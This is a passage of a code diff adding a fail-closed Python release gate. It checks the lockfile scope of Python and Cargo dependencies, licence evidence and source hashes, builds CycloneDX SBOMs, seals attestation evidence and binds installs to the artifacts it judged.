+        for (name, version) in sorted(set(lock) & set(installed))
+    ]
+    # The lock is the producer's own declaration of the complete closure, so it —
+    # not the subset that happened to resolve — is the expected set the collected
+    # evidence is compared against.
+    expected = {f"pypi/{name}@{version}" for (name, version) in lock}
+    return dependencies, failures, expected
+
+
+def _enumerate_cargo(capture: Path) -> tuple[list[Dependency], list[Failure], set[str]]:
+    """Enumerate Cargo dependencies, returning Cargo.lock's full expected key set."""
+
+    lock = parse_cargo_lock(
+        _require_regular_file(capture / "cargo" / "Cargo.lock", CAPTURE_INCOMPLETE).read_text(
+            encoding="utf-8"
+        )
+    )
+    metadata = load_json(capture / "cargo" / "metadata.json")
+    graph = resolve_cargo_graph(metadata)
+    root_package = next(
+        package
+        for package in metadata["packages"]
+        if package["id"] == metadata["resolve"]["root"]
+    )
+    root_identity = _package_identity(root_package)
+    failures = reconcile_cargo(lock, graph, root_identity)
+    dependencies = [
+        Dependency("cargo", name, version, frozenset({lock[(name, version)]}))
+        for (name, version) in sorted(set(graph) & (set(lock) - {root_identity}))
+        if lock[(name, version)] is not None
+    ]
+    # Every locked package except the release crate itself is expected, including
+    # build, dev, optional and cfg()-gated target dependencies. A dependency such
+    # as `r-efi` that only builds for a UEFI target is in the expected set like
+    # any other: this gate grants no target-based exemption.
+    expected = {
+        f"cargo/{name}@{version}" for (name, version) in set(lock) - {root_identity}
+    }
+    return dependencies, failures, expected
+
+
+def _slug_for_key(key: str) -> str:
+    """Return the capture filename stem for a canonical dependency key."""
+
+    return key.replace("/", "__").replace("@", "__")
+
+
+def _present_slugs(directory: Path) -> set[str]:
+    """Return the stems of the regular ``.json`` files collected in a directory."""
+
+    if directory.is_symlink() or not directory.is_dir():
+        return set()
+    return {
+        entry.name[: -len(".json")]
+        for entry in directory.iterdir()
+        if entry.name.endswith(".json") and entry.is_file() and not entry.is_symlink()
+    }
+
+
+def validate_release_identity(repository: str, source_sha: str) -> None:
+    """Require an ``owner/name`` repository and an exact 40-hex commit SHA.
+
+    The reusable workflow can only declare these inputs as ``string``, so their
+    shape is checked here. The gate calls it on the captured release, and the
+    workflow calls it as its own first step so a malformed exact SHA is refused
+    before any credentialed or model step runs.
+    """
+
+    if not REPOSITORY_RE.fullmatch(repository):
+        raise GateError(CAPTURE_INCOMPLETE, "source_repository must be owner/name")
+    if not GIT_SHA_RE.fullmatch(source_sha):
+        raise GateError(CAPTURE_INCOMPLETE, "source_sha must be an exact 40-hex commit SHA")
+
+
+def require_strix_credentials(
+    environ: Mapping[str, str], names: Sequence[str] = STRIX_CREDENTIAL_NAMES
+) -> list[Failure]:
+    """Refuse the Strix stage when any provider credential is absent.
+
+    The detail names only the absent variables. A credential that *is* present is
+    never echoed, measured, or described, so no value or partial material can
+    reach a log or a CI artifact through this path.
+    """
+
+    absent = [name for name in names if not str(environ.get(name, "")).strip()]
+    if not absent:
+        return []
+    return [
+        Failure(
+            STRIX_CREDENTIALS_ABSENT,
+            "strix",
+            "the Strix stage requires provider credentials that are absent: "
+            + ", ".join(sorted(absent)),
+        )
+    ]
+
+
+def _scope_rows(
+    capture: Path,
+    ecosystems: Sequence[str],
+    expected: Mapping[str, set[str]],
+    dependencies: Sequence[Dependency],
+) -> tuple[list[dict[str, Any]], list[Failure]]:
+    """Compare each declared ecosystem's collected set against its expected set.
+
+    CO#1226 accepted coverage because one component of one ecosystem existed. A
+    full-set comparison is therefore required here: every expected member must be
+    counted, enumerated, and matched by collected evidence *and* a fixture, and an
+    ecosystem whose membership cannot be established fails rather than passes.
+    """
+
+    rows: list[dict[str, Any]] = []
+    failures: list[Failure] = []
+    evidence_slugs = _present_slugs(capture / "evidence")
+    fixture_slugs = _present_slugs(capture / "strix" / "fixtures")
+    every_expected_slug: set[str] = set()
+    for ecosystem in ecosystems:
+        subject = f"ecosystem/{ecosystem}"
+        if ecosystem not in SUPPORTED_ECOSYSTEMS:
+            failures.append(
+                Failure(
+                    SCOPE_UNVERIFIABLE,
+                    subject,
+                    "declared ecosystem has no enumerator, so its dependency scope "
+                    "cannot be established",
+                )
+            )
+            rows.append(
+                {
+                    "ecosystem": ecosystem,
+                    "expected_count": 0,
+                    "enumerated_count": 0,
+                    "collected_count": 0,
+                    "matched_count": 0,
+                    "established": False,
+                }
+            )
+            continue
+        expected_keys = expected.get(ecosystem, set())
+        expected_slugs = {_slug_for_key(key) for key in expected_keys}
+        every_expected_slug |= expected_slugs
+        prefix = SUPPORTED_ECOSYSTEMS[ecosystem]
+        enumerated = {
+            dependency.key for dependency in dependencies if dependency.ecosystem == prefix
+        }
+        collected = expected_slugs & evidence_slugs
+        matched = collected & fixture_slugs
+        row = {
+            "ecosystem": ecosystem,
+            "expected_count": len(expected_keys),
+            "enumerated_count": len(enumerated),
+            "collected_count": len(collected),
+            "matched_count": len(matched),
+            "established": True,
+        }
+        rows.append(row)
+        if not expected_keys:
+            failures.append(
+                Failure(
+                    SCOPE_UNVERIFIABLE,
+                    subject,
+                    "declared ecosystem resolved no expected dependency, so coverage "
+                    "cannot be established",
+                )
+            )
+            continue
+        # Subset in any of the three directions refuses the release. Equality of
+        # all four counts is the only accepted outcome.
+        if not (len(expected_keys) == len(enumerated) == len(collected) == len(matched)):
+            failures.append(
+                Failure(
+                    SCOPE_SET_MISMATCH,
+                    subject,
+                    f"expected {len(expected_keys)} dependencies but enumerated "
+                    f"{len(enumerated)}, collected {len(collected)} evidence files and "
+                    f"matched {len(matched)} fixtures",
+                )
+            )
+        for slug in sorted(expected_slugs - evidence_slugs):
+            failures.append(
+                Failure(SCOPE_SET_MISMATCH, subject, f"no collected evidence for {slug}")
+            )
+        for slug in sorted(expected_slugs - fixture_slugs):
+            failures.append(
+                Failure(SCOPE_SET_MISMATCH, subject, f"no isolated fixture for {slug}")
+            )
+    # The reverse direction: capture material for something the producer never
+    # declared is an unestablished scope, not a bonus.
+    for slug in sorted((evidence_slugs | fixture_slugs) - every_expected_slug):
+        failures.append(
+            Failure(
+                SCOPE_SET_MISMATCH,
+                "capture",
+                f"collected {slug} is absent from every declared ecosystem's expected set",
+            )
+        )
+    return rows, failures
+
+
+def _dependency_row(
+    dependency: Dependency,
+    evidence: Mapping[str, Any],
+    decision: LicenseDecision,
+    license_source: str,
+    inclusion: list[str],
+    properties: list[dict[str, str]],
+    digest: str,
+) -> dict[str, Any]:
+    """Build the per-dependency structured evidence row for the SBOM and report."""
+
+    return {
+        "key": dependency.key,
+        "ecosystem": dependency.ecosystem,
+        "name": dependency.name,
+        "version": dependency.version,
+        "source_sha256": str(evidence.get("source_sha256", "")),
+        "license": decision.selected,
+        "license_source": license_source,
+        "license_member_sha256": dict(evidence.get("license_member_sha256", {})),
+        "license_selection_rationale": decision.rationale,
+        "distribution_inclusion": inclusion,
+        "native_properties": properties,
+        "fixture_sha256": digest,
+    }
+
+
+def gate(capture_root: Path, stage: str = FULL_STAGE) -> GateReport:
+    """Run one fail-closed gate stage over a captured release.
+
+    ``stage="license"`` establishes the full dependency scope and applies licence,
+    evidence and deterministic-detector policy without reading any Strix binding,
+    so it runs with no provider credential present. ``stage="full"`` additionally
+    requires each dependency's machine-readable binding.
+    """
+
+    if stage not in GATE_STAGES:
+        raise GateError(CAPTURE_INCOMPLETE, f"unknown gate stage: {stage!r}")
+    capture = Path(capture_root)
+    release = load_json(capture / "release.json")
+    if not isinstance(release, Mapping):
+        raise GateError(CAPTURE_INCOMPLETE, "release.json must be a JSON object")
+    repository = str(release.get("source_repository", ""))
+    source_sha = str(release.get("source_sha", ""))
+    validate_release_identity(repository, source_sha)
+    ecosystems = release.get("ecosystems")
+    if not isinstance(ecosystems, list) or not ecosystems:
+        raise GateError(CAPTURE_INCOMPLETE, "release.ecosystems must be a non-empty array")
+
+    declared = [str(item) for item in ecosystems]
+    report = GateReport(
+        source_repository=repository, source_sha=source_sha, stage=stage
+    )
+    dependencies: list[Dependency] = []
+    expected: dict[str, set[str]] = {}
+    python_lock = capture / "python" / "lock.txt"
+    if python_lock.is_file() and not python_lock.is_symlink():
+        report.lock_sha256 = _sha256_file(python_lock)
+    if "python" in declared:
+        found, failures, expected["python"] = _enumerate_python(capture)
+        dependencies.extend(found)
+        report.failures.extend(failures)
+    if "cargo" in declared:
+        found, failures, expected["cargo"] = _enumerate_cargo(capture)
+        dependencies.extend(found)
+        report.failures.extend(failures)
+    # Every declared ecosystem is compared as a whole set before any dependency is
+    # judged, so an unsupported or empty ecosystem cannot be masked by another
+    # ecosystem that did resolve.
+    scope_rows, scope_failures = _scope_rows(capture, declared, expected, dependencies)
+    report.scopes.extend(scope_rows)
+    report.failures.extend(scope_failures)
+    # An empty enumeration can no longer reach this point silently: every shape
+    # that yields zero dependencies also yields a failure above. A declared
+    # ecosystem with no enumerator is SCOPE_UNVERIFIABLE; one whose expected set is
+    # empty is SCOPE_UNVERIFIABLE; and a non-empty expected set that resolved
+    # nothing is LOCK_ENV_MISMATCH or CARGO_LOCK_GRAPH_MISMATCH plus
+    # SCOPE_SET_MISMATCH. A separate "enumerated nothing" guard here would be dead
+    # code, so the invariant is asserted by
+    # test_zero_enumerated_dependencies_always_carries_a_failure instead.
+
+    selections = _load_selections(capture)
+    if stage == FULL_STAGE:
+        # Binder provenance belongs to the Strix stage only; a licence-stage report
+        # must not claim it, or it would read as Strix evidence it never gathered.
+        report.binder_sha256 = hashlib.sha256(
+            resolve_evidence_binder().read_bytes()
+        ).hexdigest()
+    for dependency in dependencies:
+        subject = dependency.key
+        evidence_path = capture / "evidence" / f"{dependency.slug}.json"
+        if evidence_path.is_symlink() or not evidence_path.is_file():
+            report.failures.append(
+                Failure(EVIDENCE_MISSING, subject, "no captured per-dependency evidence")
+            )
+            continue
+        evidence = load_json(evidence_path, EVIDENCE_MISSING)
+        if not isinstance(evidence, Mapping):
+            raise GateError(EVIDENCE_INCOMPLETE, f"{subject}: evidence must be an object")
+
+        try:
+            archive_path = capture / "archives" / f"{dependency.slug}.archive"
+            if archive_path.parent.is_symlink():
+                raise GateError(CAPTURE_INCOMPLETE, "archive directory is a symlink")
+            bound = archive_license_evidence(read_archive_snapshot(archive_path), dependency.ecosystem)
+            if any(evidence.get(key) != bound[key] for key in (
+                    "source_sha256", "license_texts", "license_member_sha256")):
+                report.failures.append(Failure(SOURCE_HASH_MISMATCH, subject,
+                    "license evidence differs from the captured archive bytes"))
+        except GateError as error:
+            report.failures.append(Failure(error.code, subject, error.detail))
+            continue
+
+        source_hash = str(evidence.get("source_sha256", ""))
+        if not SHA256_RE.fullmatch(source_hash):
+            report.failures.append(
+                Failure(SOURCE_HASH_MISMATCH, subject, "evidence carries no sha256 source hash")
+            )
+        elif source_hash not in dependency.expected_hashes:
+            report.failures.append(
+                Failure(
+                    SOURCE_HASH_MISMATCH,
+                    subject,
+                    "captured source hash is not the hash the lock pinned",
+                )
+            )
+
+        inclusion = evidence.get("distribution_inclusion")
+        if (
+            not isinstance(inclusion, list)
+            or not inclusion
+            or not set(inclusion).issubset({"wheel", "sdist", "crate"})
+        ):
+            raise GateError(
+                EVIDENCE_INCOMPLETE,
+                f"{subject}: distribution_inclusion must name wheel/sdist/crate",
+            )
+
+        license_failures, decision, license_source = evaluate_dependency_license(
+            evidence, subject, selections.get(subject)
+        )
+        report.failures.extend(license_failures)
+
+        native_failures, properties = evaluate_native_links(evidence, subject)
+        report.failures.extend(native_failures)
+
+        for finding in detect_archive_escape(
+            [
+                member
+                for member in _require_list(evidence, "archive_members", subject)
+                if isinstance(member, Mapping)
+            ]
+        ):
+            report.failures.append(Failure(ARCHIVE_PATH_ESCAPE, subject, finding))
+
+        sources = _require_mapping(evidence, "install_hook_sources", subject)
+        for finding in detect_install_hooks({key: str(sources[key]) for key in sources}):
+            report.failures.append(Failure(INSTALL_HOOK, subject, finding))
+
+        fixture = build_fixture(dependency, evidence)
+        digest = fixture_digest(fixture)
+        if stage == FULL_STAGE:
+            report.failures.extend(
+                validate_strix_binding(
+                    capture / "strix" / "bindings" / f"{dependency.slug}.json",
+                    dependency,
+                    evidence,
+                    digest,
+                    source_sha,
+                )
+            )
+        report.dependencies.append(
+            _dependency_row(
+                dependency,
+                evidence,
+                decision,
+                license_source,
+                sorted(inclusion),
+                properties,
+                digest,
+            )
+        )
+    return report
+
+
+# ---------------------------------------------------------------------------
+# Sealed-evidence composition with exact-artifact-sbom-attestation.yml
+# ---------------------------------------------------------------------------
+
+
+def _sha256_file(path: Path) -> str:
+    """Return the streaming sha256 of one file on disk."""
+
+    digest = hashlib.sha256()
+    with path.open("rb") as handle:
+        for chunk in iter(lambda: handle.read(1024 * 1024), b""):
+            digest.update(chunk)
+    return digest.hexdigest()
+
+
+def cyclonedx_serial_number(subject_name: str, subject_sha256: str) -> str:
+    """Return the canonical UUIDv5 serial number the attestation verifier expects."""
+
+    identity = f"urn:cwl:artifact:{subject_name}:sha256:{subject_sha256}"
+    return f"urn:uuid:{uuid.uuid5(uuid.NAMESPACE_URL, identity)}"
+
+
+def build_cyclonedx(
+    subject_name: str, subject_sha256: str, rows: Iterable[Mapping[str, Any]]
+) -> dict[str, Any]:
+    """Build the CycloneDX 1.7 SBOM that covers exactly the gated dependency set."""
+
+    components = []
+    for row in sorted(rows, key=lambda item: item["key"]):
+        properties = [
+            {"name": "cwl:dependency:license-source", "value": str(row["license_source"])},
+            {"name": "cwl:dependency:inclusion", "value": ",".join(row["distribution_inclusion"])},
+            {"name": "cwl:dependency:fixture-sha256", "value": str(row["fixture_sha256"])},
+        ]
+        if row["license_selection_rationale"]:
+            properties.append(
+                {
+                    "name": "cwl:dependency:license-selection-rationale",
+                    "value": str(row["license_selection_rationale"]),
+                }
+            )
+        properties.extend(row["native_properties"])
+        components.append(
+            {
+                "type": "library",
+                "name": row["name"],
+                "version": row["version"],
+                "licenses": [{"expression": row["license"]}],
+                "hashes": [{"alg": "SHA-256", "content": row["source_sha256"]}],
+                "properties": properties,
+            }
+        )
+    return {
+        "$schema": CYCLONEDX_SCHEMA,
+        "bomFormat": "CycloneDX",
+        "specVersion": "1.7",
+        "serialNumber": cyclonedx_serial_number(subject_name, subject_sha256),
+        "version": 1,
+        "metadata": {
+            "component": {
+                "type": "file",
+                "name": subject_name,
+                "properties": [{"name": FILENAME_PROPERTY, "value": subject_name}],
+                "hashes": [{"alg": "SHA-256", "content": subject_sha256}],
+            }
+        },
+        "components": components,
+    }
+
+
+def seal(
+    report_path: Path,
+    wheel: Path,
+    sdist: Path,
+    evidence_root: Path,
+    evidence_artifact_name: str,
+) -> dict[str, str]:
+    """Write the six-member sealed evidence directory and return handoff outputs."""
+
+    report = load_json(report_path)
+    if not isinstance(report, Mapping) or report.get("result") != "PASS":
+        raise GateError(
+            CAPTURE_INCOMPLETE, "refusing to seal evidence for a non-PASS gate report"
+        )
+    # A passing licence-stage report proves nothing about Strix. Only the full
+    # stage may be sealed, so a prescreen can never stand in for the Strix stage.
+    if report.get("stage") != FULL_STAGE:
+        raise GateError(
+            CAPTURE_INCOMPLETE,
+            "refusing to seal evidence for a gate report that is not the full stage",
+        )
+    evidence_root.mkdir(parents=True, exist_ok=True)
+    outputs: dict[str, str] = {
+        "source_repository": str(report["source_repository"]),
+        "source_sha": str(report["source_sha"]),
+        "predicate_type": CYCLONEDX_PREDICATE_TYPE,
+        "cyclonedx_schema": CYCLONEDX_SCHEMA,
+        "evidence_artifact_name": evidence_artifact_name,
+    }
+    rows = report["dependencies"]
+    digests: dict[str, str] = {}
+    for label, path in (("wheel", wheel), ("sdist", sdist)):
+        filename = path.name
+        target = evidence_root / filename
+        target.write_bytes(path.read_bytes())
+        artifact_sha = _sha256_file(target)
+        sbom_name = f"{filename}.cdx.json"
+        sbom = build_cyclonedx(filename, artifact_sha, rows)
+        (evidence_root / sbom_name).write_text(
+            json.dumps(sbom, indent=2, sort_keys=True) + "\n", encoding="utf-8"
+        )
+        digests[filename] = artifact_sha
+        digests[sbom_name] = _sha256_file(evidence_root / sbom_name)
+        outputs[f"{label}_filename"] = filename
+        outputs[f"{label}_sha256"] = artifact_sha
+        outputs[f"{label}_sbom_filename"] = sbom_name
+        outputs[f"{label}_sbom_sha256"] = digests[sbom_name]
+
+    identity = {
+        "schema_version": "1.0",
+        "source_repository": outputs["source_repository"],
+        "source_sha": outputs["source_sha"],
+        "evidence_artifact_name": evidence_artifact_name,
+        "predicate_type": CYCLONEDX_PREDICATE_TYPE,
+        "cyclonedx_schema": CYCLONEDX_SCHEMA,
+        "artifacts": {
+            "wheel": {
+                "filename": outputs["wheel_filename"],
+                "sha256": outputs["wheel_sha256"],
+                "sbom_filename": outputs["wheel_sbom_filename"],
+                "sbom_sha256": outputs["wheel_sbom_sha256"],
+            },
+            "sdist": {
+                "filename": outputs["sdist_filename"],
+                "sha256": outputs["sdist_sha256"],
+                "sbom_filename": outputs["sdist_sbom_filename"],
+                "sbom_sha256": outputs["sdist_sbom_sha256"],
+            },
+        },
+    }
+    identity_path = evidence_root / SOURCE_IDENTITY_FILENAME
+    identity_path.write_text(json.dumps(identity, indent=2, sort_keys=True) + "\n", encoding="utf-8")
+    digests[SOURCE_IDENTITY_FILENAME] = _sha256_file(identity_path)
+    outputs["source_identity_sha256"] = digests[SOURCE_IDENTITY_FILENAME]
+
+    checksum_path = evidence_root / CHECKSUM_FILENAME
+    checksum_path.write_text(
+        "".join(f"{digests[name]}  {name}\n" for name in sorted(digests)), encoding="utf-8"
+    )
+    outputs["checksum_sha256"] = _sha256_file(checksum_path)
+    return outputs
+
+
+def write_github_output(outputs: Mapping[str, str], destination: Path | None) -> None:
+    """Append gate outputs to ``$GITHUB_OUTPUT`` so the caller can chain them."""
+
+    if destination is None:
+        return
+    with destination.open("a", encoding="utf-8") as handle:
+        for key in sorted(outputs):
+            handle.write(f"{key}={outputs[key]}\n")
+
+
+def distribution_declared_metadata(
+    distribution: Path, name: str, version: str
+) -> dict[str, Any]:
+    """Return one fetched distribution's own declared identity and licence fields.
+
+    The licence determination has to happen *before* the release closure is
+    installed, so it reads the distribution's own ``METADATA``/``PKG-INFO``
+    rather than ``pip inspect`` of an environment that only exists after an
+    install. The pin is re-checked against what the archive declares, so a file
+    whose metadata names another project or version fails here instead of being
+    adjudicated under the wrong identity.
+    """
+
+    _require_regular_file(distribution, CAPTURE_INCOMPLETE)
+    text = _declared_metadata_text(distribution)
+    # ``METADATA`` is an RFC 822 header block; ``Classifier`` repeats.
+    message = email.parser.Parser().parsestr(text)
+    declared_name = str(message.get("Name", ""))
+    declared_version = str(message.get("Version", ""))
+    if normalize_project_name(declared_name) != normalize_project_name(name):
+        raise GateError(
+            CAPTURE_INCOMPLETE,
+            f"{distribution.name}: declares project {declared_name!r}, pinned as {name!r}",
+        )
+    if declared_version.strip() != version:
+        raise GateError(
+            CAPTURE_INCOMPLETE,
+            f"{distribution.name}: declares version {declared_version!r}, pinned as {version!r}",
+        )
+    classifiers = [
+        value
+        for value in message.get_all("Classifier", [])
+        if isinstance(value, str) and value.startswith("License ")
+    ]
+    return {
+        "ecosystem": "pypi",
+        "name": name,
+        "version": version,
+        "license_expression": str(message.get("License-Expression", "")),
+        "license": str(message.get("License", "")),
+        "classifiers": classifiers,
+        "distribution_inclusion": ["sdist", "wheel"],
+        "known_vulnerabilities": [],
+    }
+
+
+def _declared_metadata_text(distribution: Path) -> str:
+    """Extract the metadata header block from a wheel or a source distribution."""
+
+    if distribution.suffix == ".whl":
+        with zipfile.ZipFile(distribution) as archive:
+            members = [
+                member
+                for member in archive.namelist()
+                if PurePosixPath(member).match("*.dist-info/METADATA")
+                and len(PurePosixPath(member).parts) == 2
+            ]
+            if len(members) != 1:
+                raise GateError(
+                    CAPTURE_INCOMPLETE,
+                    f"{distribution.name}: expected exactly one dist-info/METADATA, "
+                    f"found {len(members)}",
+                )
+            return _bounded_archive_text(archive.getinfo(members[0]), archive)
+    with tarfile.open(distribution) as archive:
+        members = [
+            member
+            for member in archive.getmembers()
+            if member.isfile() and len(PurePosixPath(member.name).parts) == 2
+            and PurePosixPath(member.name).name == "PKG-INFO"
+        ]
+        if len(members) != 1:
+            raise GateError(
+                CAPTURE_INCOMPLETE,
+                f"{distribution.name}: expected exactly one top-level PKG-INFO, "
+                f"found {len(members)}",
+            )
+        if members[0].size > _MAX_METADATA_BYTES:
+            raise GateError(
+                CAPTURE_INCOMPLETE, f"{distribution.name}: metadata exceeds the bounded read"
+            )
+        handle = archive.extractfile(members[0])
+        if handle is None:  # pragma: no cover - defensive; isfile() was checked
+            raise GateError(CAPTURE_INCOMPLETE, f"{distribution.name}: PKG-INFO is unreadable")
+        with handle:
+            return _decode_metadata(handle.read(_MAX_METADATA_BYTES + 1), distribution)
+
+
+def _bounded_archive_text(info: zipfile.ZipInfo, archive: zipfile.ZipFile) -> str:
+    """Read one zip member as text, refusing anything past the bounded size."""
+
+    if info.file_size > _MAX_METADATA_BYTES:
+        raise GateError(CAPTURE_INCOMPLETE, f"{info.filename}: metadata exceeds the bounded read")
+    with archive.open(info) as handle:
+        return _decode_metadata(handle.read(_MAX_METADATA_BYTES + 1), Path(info.filename))
+
+
+def _decode_metadata(raw: bytes, origin: Path) -> str:
+    """Decode a bounded metadata block, refusing oversize or non-UTF-8 content."""
+
+    if len(raw) > _MAX_METADATA_BYTES:
+        raise GateError(CAPTURE_INCOMPLETE, f"{origin.name}: metadata exceeds the bounded read")
+    try:
+        return raw.decode("utf-8")
+    except UnicodeDecodeError as error:
+        raise GateError(CAPTURE_INCOMPLETE, f"{origin.name}: metadata is not UTF-8") from error
+
+
+def bind_install_requirements(
+    report: Path, capture: Path, download_root: Path, output: Path
+) -> list[str]:
+    """Narrow the install to exactly the artifacts this verdict judged.
+
+    A passing report is not by itself permission to install: without a binding,
+    the install re-reads the original lock, and a lock that records several hashes
+    for one project accepts an artifact whose licence and contents were never
+    judged. This refuses unless the lock still digests to what the verdict read,
+    every judged artifact is present in the collected root by digest, and the root
+    holds no other distribution; it then writes a requirements file pinning each
+    project to the one judged digest, so ``--require-hashes`` can only install the
+    inspected bytes.
+    """
+
+    install_is_authorized(report)
+    payload = load_json(_require_regular_file(report, LICENSE_MISSING), LICENSE_MISSING)
+    lock = capture / "python" / "lock.txt"
+    recorded_lock = str(payload.get("python_lock_sha256") or "")
+    if not SHA256_RE.fullmatch(recorded_lock):
+        raise GateError(
+            LICENSE_MISSING, "the report records no python lock digest to bind against"
+        )
+    if _sha256_file(_require_regular_file(lock, SOURCE_HASH_MISMATCH)) != recorded_lock:
+        raise GateError(
+            SOURCE_HASH_MISMATCH,
+            "the lock to install from is not the lock the licence stage judged",
+        )
+    judged: dict[str, tuple[str, str]] = {}
+    rows = payload.get("dependencies")
+    if not isinstance(rows, list):
+        raise GateError(LICENSE_MISSING, "the report records no dependency rows")
+    for row in rows:
+        if not isinstance(row, Mapping) or str(row.get("ecosystem")) != "pypi":
+            continue
+        digest = str(row.get("source_sha256") or "")
+        if not SHA256_RE.fullmatch(digest):
+            raise GateError(
+                SOURCE_HASH_MISMATCH,
+                f"judged dependency {row.get('key')!r} carries no usable source digest",
+            )
+        judged[digest] = (str(row.get("name") or ""), str(row.get("version") or ""))
+    if not judged:
+        raise GateError(LICENSE_MISSING, "the report judged no Python distribution")
+    collected: dict[str, Path] = {}
+    collected_evidence: dict[str, dict[str, Any]] = {}
+    for candidate in sorted(Path(download_root).iterdir()):
+        if candidate.is_symlink() or not candidate.is_file():
+            continue
+        if candidate.suffix not in {".whl", ".zip", ".gz", ".bz2", ".xz", ".tgz"}:
+            continue
+        bound = archive_license_evidence(read_archive_snapshot(candidate), "pypi")
+        collected[bound["source_sha256"]] = candidate
+        collected_evidence[bound["source_sha256"]] = bound
+    missing = sorted(digest for digest in judged if digest not in collected)
+    if missing:
+        raise GateError(
+            SOURCE_HASH_MISMATCH,
+            "the collected root is missing judged artifacts: " + ", ".join(missing),
+        )
+    unjudged = sorted(
+        collected[digest].name for digest in collected if digest not in judged
+    )
+    if unjudged:
+        raise GateError(
+            SOURCE_HASH_MISMATCH,
+            "the collected root holds unjudged distributions: " + ", ".join(unjudged),
+        )
+    for row in rows:
+        if not isinstance(row, Mapping) or str(row.get("ecosystem")) != "pypi":
+            continue
+        bound = collected_evidence[str(row["source_sha256"])]
+        if row.get("license_member_sha256") != bound["license_member_sha256"]:
+            raise GateError(SOURCE_HASH_MISMATCH, "report license-member hashes differ from install archive")
+        failures, _, _ = evaluate_dependency_license(
+            {"license_expression": row.get("license"), "license_texts": bound["license_texts"]},
+            str(row.get("key", "")), None)
+        if failures:
+            raise GateError(failures[0].code, "install archive license text does not pass the recorded selection")
+    lines = [
+        f"{name}=={version} --hash=sha256:{digest}"
+        for digest, (name, version) in sorted(judged.items(), key=lambda item: item[1])
+    ]
+    Path(output).write_text("\n".join(lines) + "\n", encoding="utf-8")
+    return lines
+
+
+def install_is_authorized(report: Path) -> None:
+    """Raise unless a prescreen report authorizes installing the release closure.
+
+    The install of the release closure is the first action that runs dependency
+    code, so it may only happen after the licence stage has passed. The report
+    is the recorded evidence of that pass; a missing, malformed, or failing
+    report refuses the install rather than defaulting to permitted.
+    """
+
+    payload = load_json(_require_regular_file(report, LICENSE_MISSING), LICENSE_MISSING)
+    if not isinstance(payload, Mapping):
+        raise GateError(LICENSE_MISSING, "prescreen report must be a JSON object")
+    if payload.get("stage") != LICENSE_STAGE:
+        raise GateError(
+            LICENSE_MISSING,
+            f"prescreen report records stage {payload.get('stage')!r}, not {LICENSE_STAGE!r}",
+        )
+    if payload.get("result") != "PASS":
+        raise GateError(
+            LICENSE_MISSING,
+            f"prescreen report records result {payload.get('result')!r}, not 'PASS'",
+        )
+
+
+def main(argv: Sequence[str] | None = None) -> int:
+    """CLI entry: ``validate-inputs`` and ``prescreen`` refuse a release before any
+    credential exists, ``require-strix-credentials`` refuses a credential-less Strix
+    stage, ``install-authorized`` refuses an install the licence stage did not clear,
+    ``gate`` refuses a release, and ``seal`` composes the attestation.
+    """
+
+    parser = argparse.ArgumentParser(description="Pre-publish dependency gate")
+    sub = parser.add_subparsers(dest="command", required=True)
+
+    collect = sub.add_parser("capture", help="Assemble evidence and fixtures from raw output")
+    collect.add_argument("--raw", required=True)
+    collect.add_argument("--capture", required=True)
+
+    identity = sub.add_parser(
+        "validate-inputs", help="Refuse a malformed repository or exact release SHA"
+    )
+    identity.add_argument("--source-repository", required=True)
+    identity.add_argument("--source-sha", required=True)
+
+    sources = sub.add_parser(
+        "lock-source-options",
+        help="Emit validated pip source options so download resolves like install",
+    )
+    sources.add_argument("--lock", required=True)
+    sources.add_argument("--permitted-root", required=True)
+
+    screen = sub.add_parser(
+        "prescreen", help="Refuse a denied or unverifiable licence before any credential"
+    )
+    screen.add_argument("--capture", required=True)
+    screen.add_argument("--report", required=True)
+
+    sub.add_parser(
+        "require-strix-credentials", help="Refuse the Strix stage when a credential is absent"
+    )
+
+    declared = sub.add_parser(
+        "distribution-metadata",
+        help="Emit one fetched distribution's declared identity and licence fields",
+    )
+    declared.add_argument("--distribution", required=True)
+    declared.add_argument("--name", required=True)
+    declared.add_argument("--version", required=True)
+
+    permit = sub.add_parser(
+        "install-authorized",
+        help="Refuse installing the release closure unless the licence stage passed",
+    )
+    permit.add_argument("--report", required=True)
+
+    bind = sub.add_parser(
+        "bind-install",
+        help="Pin the install to exactly the artifacts and lock the verdict judged",
+    )
+    bind.add_argument("--report", required=True)
+    bind.add_argument("--capture", required=True)
+    bind.add_argument("--download-root", required=True)
+    bind.add_argument("--output", required=True)
+
+    run = sub.add_parser("gate", help="Refuse the release unless every check passes")
+    run.add_argument("--capture", required=True)
+    run.add_argument("--report", required=True)
+
+    compose = sub.add_parser("seal", help="Seal gated bytes for exact-artifact attestation")
+    compose.add_argument("--report", required=True)
+    compose.add_argument("--wheel", required=True)
+    compose.add_argument("--sdist", required=True)
+    compose.add_argument("--evidence-root", required=True)
+    compose.add_argument("--evidence-artifact-name", required=True)
+
+    args = parser.parse_args(argv)
+    github_output = os.environ.get("GITHUB_OUTPUT")
+    destination = Path(github_output) if github_output else None
+    try:
+        if args.command == "capture":
+            keys = capture(Path(args.raw), Path(args.capture))
+            json.dump({"captured": keys}, sys.stdout, indent=2, sort_keys=True)
+            sys.stdout.write("\n")
+            return 0
+        if args.command == "validate-inputs":
+            validate_release_identity(args.source_repository, args.source_sha)
+            print("Release identity inputs are well formed.")
+            return 0
+        if args.command == "lock-source-options":
+            # One option per line: the caller reads them into a bash array, so no
+            # value is ever word-split or re-interpreted by a shell.
+            for option in lock_download_options(
+                _require_regular_file(Path(args.lock), LOCK_SOURCE_UNSUPPORTED).read_text(
+                    encoding="utf-8"
+                ),
+                Path(args.permitted_root),
+            ):
+                print(option)
+            return 0
+        if args.command == "distribution-metadata":
+            json.dump(
+                distribution_declared_metadata(
+                    Path(args.distribution), args.name, args.version
+                ),
+                sys.stdout,
+                indent=2,
+                sort_keys=True,
+            )
+            sys.stdout.write("\n")
+            return 0
+        if args.command == "bind-install":
+            for line in bind_install_requirements(
+                Path(args.report),
+                Path(args.capture),
+                Path(args.download_root),
+                Path(args.output),
+            ):
+                print(line)
+            return 0
+        if args.command == "install-authorized":
+            install_is_authorized(Path(args.report))
+            print("Licence stage passed; installing the prescreened closure is authorized.")
+            return 0
+        if args.command == "require-strix-credentials":
+            failures = require_strix_credentials(os.environ)
+            for failure in failures:
+                print(f"ERROR: {failure.code}: {failure.detail}", file=sys.stderr)
+            return 2 if failures else 0
+        if args.command in {"gate", "prescreen"}:
+            stage = FULL_STAGE if args.command == "gate" else LICENSE_STAGE
+            report = gate(Path(args.capture), stage=stage)
+            payload = report.to_json()
+            Path(args.report).write_text(
+                json.dumps(payload, indent=2, sort_keys=True) + "\n", encoding="utf-8"
+            )
